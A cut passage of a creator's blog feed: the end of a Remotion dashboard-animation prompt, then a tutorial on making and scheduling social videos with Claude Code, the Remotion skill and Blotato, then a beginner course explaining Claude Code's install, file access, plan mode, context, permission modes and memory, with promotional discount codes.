
PANEL 3 - Donut Chart:
- SVG donut using stroke-dasharray / stroke-dashoffset
- Segments draw clockwise, each starting after previous finishes
- Colors: #3b82f6, #22c55e, #f59e0b, #ef4444 (cycle if more segments)
- Radius 80px, stroke-width 24px
- Center text: category name swaps as each segment draws
- Colored legend dots below, staggered fade-in
- Entrance: starts at frame 50

PANEL 4 - Line Chart:
- SVG polyline drawing left to right via stroke-dashoffset + interpolate()
- Data point circles (r=4) pop in with scale spring as the line reaches them
- Gradient fill below the line (color to transparent) reveals with the draw
- Axis labels from the CSV data
- Line color: #22c55e
- Entrance: starts at frame 70

GLOBAL:
- Dashboard title (from your analysis) fades in at frame 0, top safe zone, Inter 800, 36px
- Source subtitle fades in at frame 5, Inter 400, 16px, #64748b
- All panels use matching glass-morphism card style
Use spring() for entrances, interpolate() with clamp for counts and line drawing. Create reusable CountUp and AnimatedBar components.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.</code></code></pre><p>Drop any CSV into the public folder. Claude reads the data, picks the best visualization for each chart type, and animates a full dashboard with real numbers. </p><p>Swap the CSV, get a completely different video. </p><p>Works for quarterly reports, survey results, API analytics, anything with numbers.</p>]]></content:encoded></item><item><title><![CDATA[Claude Just Changed Content Creation Forever! (Tutorial)]]></title><description><![CDATA[Step-by-step tutorial using Claude AI to make and edit videos with the free Remotion skill]]></description><link>https://www.sabrina.dev/p/claude-just-changed-content-creation-remotion-video</link><guid isPermaLink="false">https://www.sabrina.dev/p/claude-just-changed-content-creation-remotion-video</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Fri, 20 Mar 2026 19:44:56 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/M4cmrdoUKxI" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote><p>Spring is here!! If you&#8217;re procrastinating posting on socials, don&#8217;t miss this awesome deal. Expires 3/31 end of March.</p><p>Get 50% OFF your first month <a href="https://blotato.com">Blotato</a> plus +5000 extra credits to make AI images/videos. Use this discount code at signup:</p><p>&#8220;SPRING2026&#8221;</p></blockquote><p>Claude just changed content creation forever! </p><p>You can now generate, edit, fact-check, and schedule videos entirely from Claude Code.<br><br>In this comprehensive step-by-step tutorial, I&#8217;ll show you how to use Claude Code alongside the Remotion skill to build your local video creation/editing pipeline. </p><p>Then, publish automatically to social media :)</p><div id="youtube2-M4cmrdoUKxI" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;M4cmrdoUKxI&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/M4cmrdoUKxI?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><div><hr></div><h2>1. Install the Remotion Skill</h2><p>First, open Claude Code. Doesn&#8217;t matter if you&#8217;re in the terminal, Visual Studio Code, or Windsurf.</p><p>Type this:</p><blockquote><p>Install the pre-built skill remotion and set it up.</p></blockquote><p>Claude searches the web, finds the Remotion skill, and installs it.</p><p>If you&#8217;re technical and want the 1-line shortcut, type this in your terminal:</p><blockquote><p>npx skills add remotion-dev/skills</p></blockquote><p>Remotion is a framework for creating and editing videos using code. Claude Code writes the code FOR you. No need to know React, JavaScript, or anything technical.</p><p>The BEST part? </p><p>Everything runs locally on your computer FOR FREE (except your Claude Code subscription).</p><p>You&#8217;re not paying for some cloud video service. </p><p>You&#8217;re not uploading files somewhere and downloading them back. It&#8217;s all happening on your local private machine.</p><p>While it installs, explore the skill directory. There&#8217;s a <code>SKILL.md</code> file explaining when Claude should trigger this skill, plus rules for animations, safe zones, and more.</p><p><strong>Pro tip:</strong> </p><p>If you want Remotion to be your primary video tool, expand the skill description so Claude triggers it anytime you mention video creation... even if you don&#8217;t say &#8220;Remotion&#8221; directly.</p><h2>2. Create a Motion Graphics Video (Prompt 1)</h2><p>Here&#8217;s the EXACT first prompt I used:</p><blockquote><p>use remotion skill to create a 9:16 15-second video on this topic:</p><p>  - free github repos containing Claude Code skills</p><p>  - the first 5 seconds should have a viral hook</p><p>  - use cool motion graphics</p><p>  - use cool animated text</p><p>  - use short-form video safe zones, so text should not be located too high up or too far down</p></blockquote><p>Claude went OFF!</p><p>It researched real GitHub repos. It generated a viral hook. It created animated text with motion graphics. It used safe zones so text doesn&#8217;t get cut off by platform UI.</p><p>Within 2-3 minutes, Remotion opened its own local studio at <code>localhost:3003</code>. Preview the video right there in your browser. Press play, scrub through it, see exactly what you&#8217;re getting BEFORE rendering.</p><p>And this was WITHOUT brand voice, brand kit, or custom assets. </p><p>A raw first draft from 1 prompt.</p><h2>3. Fact-Check and Add Screenshots (Prompt 2)</h2><p>The first draft had 1 problem: Claude pulled a private GitHub repo. So I ran a second prompt:</p><blockquote><p>update the video:</p><p>- first, fact check that every single github repo is public and contains free Claude Code skills</p><p>- one scene per github repo</p><p>- for each github repo, take a web screenshot and incorporate it in the video</p><p>- update CTA to &#8220;Sign Up for BLOTATO&#8221;</p></blockquote><p>This is where it gets WILD.</p><p>Claude used Claude in Chrome (browser automation) to VISIT each GitHub repo, take a real screenshot, and then Remotion incorporated those screenshots directly into the video.</p><p>Yes&#8230; your AI video editor browsing the internet, grabbing real assets, and dropping them into your video. </p><p>Automatically!!</p><p>It found 3 verified public repos, took screenshots of each one, rewrote the video with 5 scenes (hook, repos with screenshots, and CTA), and rendered em all.</p><h2>4. Personal Touches (Prompt 3)</h2><p>The last prompt shows what else is possible:</p><blockquote><p>incorporate my headshot in ~/Downloads in the last screen CTA and lets add some techno/edm/psychedelic background music</p></blockquote><p>Claude added my headshot with a gradient border matching the Blotato CTA colors. Background music faded in. Done.</p><p>3 prompts total. </p><p>Motion graphics video. </p><p>Real web screenshots. </p><p>Custom assets. </p><p>Background music. </p><p>All generated locally, for FREEEEEEE.</p><h2>5. Edit EXISTING Videos</h2><p>This is the part many creators care about.</p><p>Take a video you already filmed... a talking head TikTok, a YouTube Short, whatever... and make Claude edit it for you.</p><blockquote><p>edit the latest video in ~/Downloads, remove mistakes, add a scroll stopping tiktok-style title, add subcaptions but don&#8217;t cover my face, be mindful of 9:16 safe zones</p></blockquote><p>Claude analyzes your video, applies a title overlay disappearing after a few seconds, adds captions avoiding your face, and attempts to trim out the bloopers where you stumbled.</p><p>Is it PERFECT? No way.</p><p>Claude reduced font sizes, added word spacing, highlighted active words by making them slightly larger. The caption editing was readable and well-formatted.</p><p>The blooper removal was decent but far from perfect... transitions were a bit rough in preview but smoother in the final render.</p><p><strong>My honest take:</strong> </p><p>If you&#8217;re serious about using Remotion for editing existing videos, set aside a few days to build a template fitting YOUR style. Figure out where your title goes, how captions should look, and your standard intro/outro. </p><p>Make just ONE template that looks good enough. </p><p>Nothing too crazy, keep it simple. Higher chance of success.</p><h2>6. Schedule to Social Media (The Final Step)</h2><p>Here&#8217;s where it all comes together. </p><p>Install the Blotato MCP server (1 line), then:</p><blockquote><p>lets schedule the motion graphics video for instagram in 30 minutes using Blotato MCP</p></blockquote><p>I always keep an approval step in my workflow. </p><p>Claude shows me the caption, I check the brand voice, the hashtags, the message... then I approve and it goes out.</p><p>Manage your ENTIRE content calendar this way. </p><p>I&#8217;ve got tons of posts scheduled every week, all through Claude Code + Blotato MCP. Never leaving the terminal.</p><div><hr></div><h2>My Honest Take</h2><p>This isn&#8217;t replacing professional video editors. </p><p>Editing existing videos still needs a lot of work, especially blooper removal and transitions.</p><p>BUT for motion graphics, short-form content, and quick social videos? This is ALREADY good enough to start with, especially if you don&#8217;t have a big budget or big team. Spend a couple days iterating on ONE template to achieve a style you like.</p><p>The real advantage is, indeed, building reusable templates. </p><p>Once Claude knows your brand, your style, your CTA format... that&#8217;s the productivity gain. You can also use Remotion for your FIRST DRAFT pass, then handoff to human editors to add polish.</p><div class="pullquote"><blockquote><p>If you&#8217;re procrastinating posting on socials, this is your sign! </p><p>Get 50% OFF your first month <a href="https://blotato.com">Blotato</a> with discount code:</p><p>&#8220;SPRING2026&#8221; </p><p>(expires 3/31)</p></blockquote></div><h2><strong>P.S. Need More Help? &#128075;</strong></h2><blockquote><p>1/ Free <strong><a href="https://www.sabrina.dev/p/start">AI courses</a></strong></p></blockquote><blockquote><p>2/ Free <strong><a href="https://prompts.sabrina.dev/">AI prompts</a></strong></p></blockquote><blockquote><p>3/ Free <strong><a href="https://agents.sabrina.dev/">AI automations</a></strong></p></blockquote><blockquote><p>4/ Free <strong><a href="https://freevibecode.ai/">AI vibe coding</a></strong></p></blockquote><blockquote><p>5/ Ask me anything @ <strong><a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></strong></p></blockquote><blockquote><p>6/ Free private community for <strong><a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></strong></p></blockquote><blockquote><p>7/ I built <strong><a href="https://www.blotato.com/">Blotato</a></strong> to grow 1M+ followers in 1 year</p></blockquote>]]></content:encoded></item><item><title><![CDATA[Every Claude Code Concept Explained for Normal People ]]></title><description><![CDATA[This free Claude Code course covers 30 fundamental concepts and practical examples for business owners & entrepreneurs]]></description><link>https://www.sabrina.dev/p/every-claude-code-concept-explained-beginners</link><guid isPermaLink="false">https://www.sabrina.dev/p/every-claude-code-concept-explained-beginners</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Mon, 16 Mar 2026 17:23:17 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/efaBaxDN_q8" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Most people think AI is a chatbot.</p><p>You type something. It types back. Fancy autocomplete.</p><p>Then I started using Claude Code 1+ year ago and realized&#8230; this isn&#8217;t a chatbot.</p><p>It&#8217;s the closest thing I&#8217;ve ever seen to an &#8220;AI employee&#8221;.</p><p>I type one word... Claude finds my latest Tiktok drafts. Transcribes my videos. Writes platform-specific captions in my voice, including comment keywords for DM automations. Checks its own work against my rules. Publishes to 8 social media platforms. Updates my Airtable. Then creates DM automations for Instagram and Facebook in ManyCht. </p><p>All from 1 command I can type while walking my dog.</p><p>This is not a &#8216;conversation&#8217;. </p><p>This is a business operation.</p><p>Today I&#8217;m breaking down every single Claude Code concept in plain English for normal people.</p><p>This starts with &#8220;what even IS this&#8221; all the way to skills, hooks, memory, MCP, and more.</p><p>FOLLOW ALONG ON YOUTUBE TO MAXIMIZE YOUR LEARNING:</p><div id="youtube2-efaBaxDN_q8" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;efaBaxDN_q8&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/efaBaxDN_q8?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><p>To support my free AI education: SHARE + LEAVE A COMMENT&#128591;</p><div><hr></div><p>We&#8217;ll be covering 30 fundamental Claude Code concepts and practical use cases for entrepreneurs and business owners!</p><p>You don&#8217;t need all of these on day 1...</p><p>But you do need to START day 1 to learn for real :)</p><p>By month 2, you&#8217;ll wonder how you lived without this.</p><p>100% GUARANTEED!!</p><p>The gap between people getting results with AI and people falling behind isn&#8217;t talent. It&#8217;s not taste. It&#8217;s not delegation. </p><p>It&#8217;s reps. </p><p>100 hours of building real things with real tools.</p><p>Let&#8217;s goooooo&#8230;</p><h2>Section 1: Getting Started</h2><h3>1. The Terminal</h3><p>Here&#8217;s what nobody tells you about Claude Code: it doesn&#8217;t live in a browser.</p><p>It lives in the terminal. The text-based interface on your computer where you type commands and things happen.</p><p>The terminal looks intimidating. Blank screen. Blinking cursor. No buttons, no menus, no drag-and-drop.</p><p>But here&#8217;s what you get in return: instead of clicking through 15 browser tabs, copying text between windows, and manually doing everything yourself... you type 1 sentence and Claude does the work because it has access to your COMPUTER, your files, your images, and the internet, plus you give it access to apps you use daily like Google Suite, Airtable, Notion, Blotato, etc.</p><p><strong>Before</strong>: 15 windows open, copying and pasting between ChatGPT, your files, your browser, your spreadsheet.</p><p><strong>After</strong>: 1 window. You type what you want. Claude reads your files, makes the changes, and shows you what it did.</p><p><strong>How to find it</strong>: on Mac, open Launchpad, type &#8220;Terminal&#8221;, hit enter. On Windows, search for &#8220;Command Prompt.&#8221;</p><p><strong>Set up your playground</strong>: once you have the terminal open, paste these 2 lines one at a time, to create a practice folder and enter it:</p><p><code>mkdir ~/playground</code></p><p><code>cd ~/playground</code></p><p>This is your playground for the rest of this tutorial. Everything Claude creates will live here.</p><h3>2. Installation + Pricing</h3><p>Before you type <code>claude</code>, you need to install it.</p><p>Open your terminal and paste this:</p><p>Mac/Linux: <code>curl -fsSL https://claude.ai/install.sh | bash</code></p><p>Windows PowerShell: <code>irm https://claude.ai/install.ps1 | iex</code></p><p>Hit enter. Done. </p><p>Full instructions at <a href="https://code.claude.com/docs/en/quickstart">code.claude.com/docs/en/quickstart</a>.</p><p>3 ways to pay:</p><p>- <strong>Max plan</strong> ($100/month, or $200/month for more): flat monthly fee, unlimited usage. Best if you&#8217;re using it daily for business.</p><p>- <strong>Pro plan</strong> ($20/month): monthly subscription, limited usage. Good for getting started.</p><p>If you&#8217;re a business owner who&#8217;ll use this every day, go Max. Don&#8217;t think about it. The ROI shows up in the first week. I&#8217;ve been on Max $200/month for a very long time and cancelled many other subscriptions as a result.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong> (your first prompt after installing): </p><p><code>What are you and what do you have access to on my computer? Give me the 30-second version.</code></p></div><h3>3. File Access</h3><p>This is the concept where Claude Code stops being a chatbot and starts being useful.</p><p>Claude Code reads and edits files on your computer. With your permission.</p><p>Not &#8220;paste your document into a chat window&#8221; like ChatGPT. It SEES your actual files. Your proposals, your spreadsheets, your client folders. And it edits them directly.</p><p><strong>Before</strong>: copy-pasting your proposal into ChatGPT, losing all the formatting, getting a generic response.</p><p><strong>After</strong>: &#8220;read my proposal.docx and tighten the executive summary&#8221; and Claude opens the file, reads it, and rewrites the section IN your document. You don&#8217;t have to copy-paste or drag-and-drop because Claude can just find it and update it directly.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong>: </p><p><code>Analyze the latest CSV in my downloads folder.</code></p></div><p>Claude can also CREATE files, not just read them. Try this next:</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong>: </p><p><code>Create a file containing your analysis.</code></p></div><p>Open the file to check it out :)</p><h3>4. Image + PDF Reading</h3><p>Besides text, Claude Code sees images, screenshots, PDFs, diagrams, photos of whiteboards, mockups, receipts. Drop a file in and it reads it.</p><p>Take a screenshot of an error message and paste it. Drag in a PDF invoice. Share a photo of your whiteboard brainstorm. Claude reads it all and works with it like text.</p><p><strong>Before</strong>: manually retyping what&#8217;s on a screenshot or PDF. Or describing an image to ChatGPT and hoping it understands.</p><p><strong>After</strong>: drop in the image. Claude sees it, reads it, and acts on it.</p><div class="callout-block" data-callout="true"><p><strong>PASTE INTO CLAUDE</strong>: take a screenshot of anything, drop it into your Claude session, and ask Claude to describe it.</p></div><p>---</p><h2>Section 2: Your First Real Tasks</h2><h3>5. Tool Use (Claude ACTS, Not Chats)</h3><p>This is the paradigm shift. Forget everything you know about chatbots.</p><p>Claude Code doesn&#8217;t chat. It ACTS.</p><p>It reads files, edits documents, runs commands, searches your folders, fetches web pages, connects to your apps. Each action is a &#8220;tool.&#8221; You see them happening in real time as Claude works.</p><p>Here&#8217;s what a tool call looks like in practice: you ask Claude to find invoices. It uses the <strong>search tool</strong> to scan every file in your folder. Then it uses the <strong>read tool</strong> to open each match. Then it uses the <strong>write tool</strong> to create a summary document.</p><p>Tools are built into Claude Code. MCP (concept #25) lets you add MORE tools by connecting external apps like Airtable, Google Drive, and Slack. The difference: tools are what Claude does on your computer. MCP extends those tools to the internet.</p><p><strong>Before</strong>: AI gives advice and YOU do the work. &#8220;Here are the steps to update your spreadsheet...&#8221;</p><p><strong>After</strong>: AI does the work and you review. &#8220;Here&#8217;s your updated spreadsheet. I changed 47 rows.&#8221; You SEE each tool call happening as it works.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong>: </p><p><code>Look through my Downloads folder, list every file by type (PDF, image, spreadsheet, etc), and create a new file summary.md with your organization suggestions. Show me each step as you go.</code></p></div><p>Now, you&#8217;ll see Claude READING, then THINKING, then WRITING.</p><h3>6. How to Talk to Claude Code</h3><p>The #1 mistake: vague prompts.</p><p>&#8220;Help me with my marketing&#8221; = garbage in, garbage out.</p><p>&#8220;Write a 3-email welcome sequence for my dog walking business. Casual tone, mention our GPS tracking feature, each email under 200 words, include a CTA to book a free walk&#8221; = RESULTS.</p><p>Be specific. Say what you want AND what you don&#8217;t want. Give constraints. Name files. The more specific your ask, the more specific the result.</p><p>Tag specific files with <code>@</code> to make sure Claude reads the right ones. Type <code>@</code> and autocomplete shows your files. <code>@budget_2024.xlsx</code> pulls in your budget. <code>@client_list.csv</code> pulls in your client list. It&#8217;s like tagging someone in a group chat, but for files.</p><p>And here&#8217;s a power move: instead of trying to write the perfect prompt, let Claude help you write it.</p><p><strong>Before</strong>: vague prompts, vague results, frustration, &#8220;AI doesn&#8217;t work.&#8221;</p><p><strong>After</strong>: specific asks, specific results, shipped work, &#8220;how did I live without this?&#8221;</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong>: </p><p><code>I need you to write a cold email to a local pet store pitching a partnership. Ask me clarifying questions, one at a time, until you&#8217;re 95% confident you can complete the task.</code></p></div><h3>7. CLAUDE.md (Your AI&#8217;s Instruction Manual)</h3><p>This is where Claude Code gets PERSONAL.</p><p>A CLAUDE.md file is a document you write once, and Claude reads it at the start of EVERY conversation. It&#8217;s your AI employee&#8217;s job description.</p><p>&#8220;Here&#8217;s how my business works. Here are my brand rules. Here&#8217;s what I NEVER want you to do. Here are the tools I use. Here&#8217;s my writing style.&#8221;</p><p>Teach it once, it knows every time. No more repeating yourself every conversation.</p><p>In Claude Code, you don&#8217;t even need to know how to create files. Say: &#8220;create a file called CLAUDE.md with these 3 rules&#8221; and tell it your rules. Done.</p><p><strong>Before</strong>: &#8220;Remember, I want you to...&#8221; every single conversation. &#8220;I TOLD you yesterday, don&#8217;t use this format!&#8221;</p><p><strong>After</strong>: write it once in CLAUDE.md. Claude follows your rules from now on. Forever.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong>: </p><p><code>Create a CLAUDE.md file based on everything you&#8217;ve learned about my preferences and how I work. Ask me clarifying questions about anything critical.</code></p></div><h3>8. Plan Mode</h3><p>If you learn ONE thing from this newsletter, make it this.</p><p>Plan mode means Claude writes out its full approach BEFORE making any changes. You review the plan, adjust it, approve it... THEN it builds.</p><p>It&#8217;s like getting a proposal from a contractor before they start demolishing your kitchen. You see what they&#8217;ll do, how they&#8217;ll do it, and what it&#8217;ll cost. Then you say &#8220;go.&#8221;</p><p>90% planning, 10% building.</p><p>Without plan mode, Claude rewrites half your files and you have no idea what happened. With plan mode, you&#8217;re the boss reviewing a proposal. I personally spend MOST of my time in plan mode for mission-critical activities, such as coding.</p><p><strong>Before</strong>: Claude makes 47 changes and you have no idea what happened or why.</p><p><strong>After</strong>: you see the plan, approve each step, stay in control. THEN it executes. Fast and right. As best practice, you should continue watching what Claude actually does in case it goes down the wrong rabbit hole, and you need to interrupt it.</p><div class="callout-block" data-callout="true"><p>press Shift+Tab until you see &#8220;plan&#8221;, then <strong>PASTE THIS INTO CLAUDE</strong>: </p><p><code>Reorganize all the files in my Downloads folder into subfolders by file type.</code> Watch Claude write out the full plan for your approval before moving a single file.</p></div><p>Next, review the plan. You can select text in the plan and add comments, just like collaborating on Google Docs. Claude will read your feedback and improve the plan.</p><p>---</p><h2>Section 3: How Claude&#8217;s Brain Works</h2><h3>9. Context Window</h3><p>Think of Claude&#8217;s memory as a whiteboard.</p><p>Everything you say, every file it reads, every response it gives... all goes on the whiteboard.</p><p>The whiteboard is big. But it&#8217;s not infinite.</p><p>When it fills up, older stuff gets summarized to make room. Like taking a photo of the whiteboard before erasing part of it to write more.</p><p>This is why Claude sometimes &#8220;forgets&#8221; what you said 20 minutes ago. The whiteboard filled up and your early notes got compressed. Your early notes blend in with everything else, and it gets increasingly hard to understand what was truly important among all your notes.</p><p>Understanding this changes how you use Claude Code. Long, rambling conversations fill the whiteboard fast. Short, focused sessions keep it clean.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong>: </p><p><code>/usage</code> (after a few back-and-forths, to see how full your whiteboard is)</p></div><h3>10. Tokens + Cost Management</h3><p>Tokens are how AI measures text. Every word you send and every word Claude sends back costs tokens. There&#8217;s a max per conversation (the whiteboard size).</p><p>Type <code>/usage</code> to see your spending. It shows input tokens (what you sent) vs output tokens (what Claude sent back). Type <code>/</code> and click &#8220;Account &amp; usage&#8221; for a fuller breakdown.</p><p>4 ways to keep costs down:</p><p>1. <strong>Switch to a cheaper brain for simple tasks.</strong> You have 3 brains to choose from (next concept). Use the expensive one for big tasks, the cheap one for quick questions.</p><p>2. <strong>Use /clear between unrelated tasks.</strong> Don&#8217;t let old context pile up.</p><p>3. <strong>Use /compact during long sessions.</strong> Compresses the whiteboard without losing key details.</p><p>4. Install the context-mode plugin. It significantly reduces context usage by managing what Claude reads more efficiently. Run these 2 commands: /plugin marketplace add mksglu/context-mode then /plugin install context-mode@context-mode. Full details at <a href="https://github.com/mksglu/context-mode">github.com/mksglu/context-mode</a>.</p><h3>11. Model Selection (Picking the Right Brain)</h3><p>Claude Code gives you 3 brains:</p><p>- <strong>Opus</strong>: the smartest, most thorough, most expensive. Use it for complex projects, big rewrites, anything where quality matters more than speed.</p><p>- <strong>Sonnet</strong>: fast, capable, affordable. Your daily driver. Use it for everyday tasks, quick edits, routine work.</p><p>- <strong>Haiku</strong>: cheap and quick. Use it for simple questions, quick lookups, anything where speed matters more than depth.</p><p>You switch mid-conversation based on the task. Building a full marketing strategy? Opus. Renaming a file? Haiku.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong>: </p><p>type <code>/model</code>, switch to Haiku, and paste: <code>Research Etsy shops selling handmade candles.</code> Then switch to Opus and paste the same prompt. Compare the quality AND check <code>/usage</code> after each. Same task, different brain, different price.</p></div><p>---</p><h2>Section 4: Managing Conversations</h2><h3>12. /compact</h3><p>Summarizes your conversation into a condensed version, freeing up whiteboard space WITHOUT losing the key points.</p><p>Remember the whiteboard from concept #9? <code>/compact</code> is like taking a photo of the whiteboard, erasing it, and writing a tight summary. You keep the important stuff, lose the fluff, and now you have room for more work.</p><div class="callout-block" data-callout="true"><p><strong>IN CLAUDE</strong>: </p><p><code>/compact</code> (after a long conversation, then ask: <code>Summarize everything we&#8217;ve done so far in 3 bullet points.</code> Claude still knows the key details, but the whiteboard is clean.)</p></div><h3>13. /clear</h3><p>Wipes your current conversation. Clean slate.</p><p>Use it when you&#8217;re switching to a totally different task. If you were working on email sequences and now you want to brainstorm product names, type <code>/clear</code> first. Old context confuses new work.</p><div class="callout-block" data-callout="true"><p><strong>IN CLAUDE</strong>: </p><p><code>/clear</code> (after finishing a task, then start fresh: <code>Brainstorm 5 product names for an AI-powered dog walking app.</code> Notice how Claude doesn&#8217;t reference anything from your previous conversation.)</p></div><h3>14. Session Management</h3><p>Each conversation is a session. Close the terminal, come back tomorrow, pick up where you left off.</p><p>Type <code>claude --resume</code> and you&#8217;re back in your last session. Your work doesn&#8217;t disappear.</p><p>Start fresh sessions for new topics. Resume old sessions for ongoing work.</p><p><strong>Before</strong>: losing your entire conversation when you close the window.</p><p><strong>After</strong>: pick up tomorrow exactly where you stopped.</p><div class="callout-block" data-callout="true"><p>Close Claude Code, reopen Terminal, type <code>claude --resume</code>, then paste: <code>Where did we leave off?</code></p></div><p>---</p><h2>Section 5: Controlling Claude</h2><h3>15. Permission Modes + Settings</h3><p>You control how much freedom Claude has. Like setting parental controls, but for your AI employee.</p><p>From &#8220;ask me before every single edit&#8221; (safe, slow, good for learning) to &#8220;do whatever you need&#8221; (fast, you trust it, good for routine tasks).</p><p>Press Shift+Tab to cycle through modes. When you&#8217;re new, keep the guardrails tight. As you build trust, loosen them.</p><p>You also configure default settings. Your default permission level, preferred model, and other preferences all live in one place. Set your defaults once and every new session starts the way you want.</p><p><strong>Before</strong>: Claude running wild making changes you didn&#8217;t approve. Or asking permission for every tiny thing.</p><p><strong>After</strong>: you set your comfort level and it matches your pace. Every session starts with your preferred defaults.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong>: </p><p><code>Show me my current settings and explain what each one does in plain English. Then recommend the best defaults for a business owner who&#8217;s been using Claude Code for a day.</code></p></div><h3>16. Effort Levels</h3><p>Tell Claude how hard to think.</p><p>Low effort for quick answers (&#8221;what time zone is Denver in?&#8221;). High effort for complex problems (&#8221;restructure my entire pricing strategy&#8221;).</p><p>You don&#8217;t always need full brain power. Effort levels let you get fast answers for simple stuff and deep analysis for hard stuff. Change it anytime by typing <code>/model</code> and using the left/right arrow keys to adjust the effort slider.</p><p>There&#8217;s also a keyword: type &#8220;ultrathink&#8221; in your prompt and Claude maxes out its reasoning for one response. It&#8217;ll think through every edge case before answering. Also, it&#8217;s RAINBOW COLORED!!</p><p><strong>Before</strong>: waiting 30 seconds for Claude to overthink a simple question.</p><p><strong>After</strong>: low effort for quick stuff, ultrathink for the complex stuff.</p><div class="callout-block" data-callout="true"><p><strong>IN CLAUDE</strong>: </p><p>type <code>/model</code>, use the left arrow key to set effort to low, then ask <code>What&#8217;s 15% of $847?</code> Then open <code>/model</code> again, set effort to high, and paste: </p><p><code>ultrathink: I run a freelance consulting business making $12k/month with 60% margins. Map out 3 paths to $50k/month with pros, cons, and timeline for each.</code> Compare the depth.</p></div><p>In VSCode, there&#8217;s a nice shortcut - you can just type <code>/effort</code>.</p><h3>17. Interrupt + Redirect</h3><p>Press Escape anytime to stop Claude mid-task.</p><p>Like telling an employee &#8220;stop, new priority.&#8221; Claude stops immediately and waits for your next instruction. No work is lost. You pivot.</p><p><strong>Before</strong>: watching Claude spend 2 minutes doing the wrong thing because you gave a bad instruction.</p><p><strong>After</strong>: Escape, correct course, keep moving. Instant pivot.</p><div class="callout-block" data-callout="true"><p><strong>PASTE THIS INTO CLAUDE</strong>:</p><p><code>Write me a 500-word blog post about...</code> then immediately press Escape before it finishes. Now paste: <code>Scratch the blog post. Give me 10 Instagram caption ideas for my real estate listings instead.</code> Instant pivot.</p></div><p>---</p><h2>Section 6: Reviewing Work + Teaching Claude</h2><h3>18. Visual Studio Code</h3><p>You&#8217;ve been using the terminal for a few days. You&#8217;re getting comfortable. Now let me show you something better for REVIEWING Claude&#8217;s work.</p><p>VS Code is a free app (it says &#8220;code editor,&#8221; but don&#8217;t let the name scare you).</p><p>It&#8217;s like fancy Google Docs, so you and Claude Code can collaborate and review files together!</p><p>FUNNNNN :D</p><p>It shows your files with nice formatting, tabs, and a sidebar. Claude Code runs right inside it.</p><p>When Claude edits 5 files, you want to SEE what changed. VS Code shows you exactly which lines were added, removed, or modified. Color-coded. Side by side.</p><p>The terminal is great for giving AI instructions. VS Code is great for giving instructions AND reviewing the results.</p><p><strong>Before</strong>: squinting at the terminal trying to figure out what Claude changed.</p><p><strong>After</strong>: VS Code shows every change, highlighted, in context. You review like a boss and approve.</p><div class="callout-block" data-callout="true"><p><strong>NEXT STEPS:</strong> download <a href="https://code.visualstudio.com/download">VS Code</a> (free), install the Claude Code extension, open our playground folder, click the orange Claude Code extension to open it. </p><p>Then paste: &#8220;Rewrite the analysis to be half the length and twice as casual.&#8221;</p><p>Now look at VS Code&#8217;s left sidebar. You can see the updated analysis right there. You can highlight words or sentences and Claude is context-aware of the feedback you&#8217;re giving.</p></div><p>On the left sidebar, if you click the Claude Code icon, you&#8217;ll see ALL your Claude sessions including your local Claude Code session, as well as your web-based Claude.ai sessions!</p><p>Disadvantages of Visual Studio Code include:</p><p>- the official Claude Chrome VSCode extension sometimes doesn&#8217;t have features yet, such as remote control and btw at time of this writing, however you can always launch a terminal within VSCode</p><p>- terminal will have the least bugs in general; Claude Code VSCode extension sometimes has weird quirks or freezes</p><p>- it may be unnecessary/heavy if you don&#8217;t need to heavily review your AI employee&#8217;s outputs</p><p>---</p><h3>19. Memory</h3><p>Think of CLAUDE.md (concept #7) and Memory as two different things.</p><p>CLAUDE.md is your instruction manual. Your playbook/SOP for a project. You write it. It&#8217;s like handing a new employee a job description on day 1: &#8220;here&#8217;s how we do things, here are the tools, here are the rules.&#8221; It loads every conversation automatically. You can also have a global CLAUDE.md that&#8217;s like a &#8220;meta instruction manual&#8221; applying to all projects.</p><p>Memory is Claude&#8217;s personal notebook. Claude writes it (or you tell it to). It&#8217;s like an employee jotting down notes after meetings: &#8220;boss prefers casual tone, last time I used formal language she corrected me, the database field is called &#8216;Video URL&#8217; not &#8216;Drive URL&#8217;.&#8221;</p><p>Put the <strong>system</strong> in CLAUDE.md: API references, account IDs, workflow steps, project structure. Stuff you&#8217;d put in a wiki.</p><p>Let <strong>preferences</strong> accumulate in memory: your writing style, corrections you&#8217;ve given, context about ongoing work. Stuff you&#8217;d tell a coworker once and expect them to remember.</p><p>If you find yourself repeating the same correction, tell Claude &#8220;remember this.&#8221; If it&#8217;s a rule every conversation needs from line 1, put it in CLAUDE.md.</p><p><strong>Before</strong>: repeating your preferences every conversation. &#8220;I 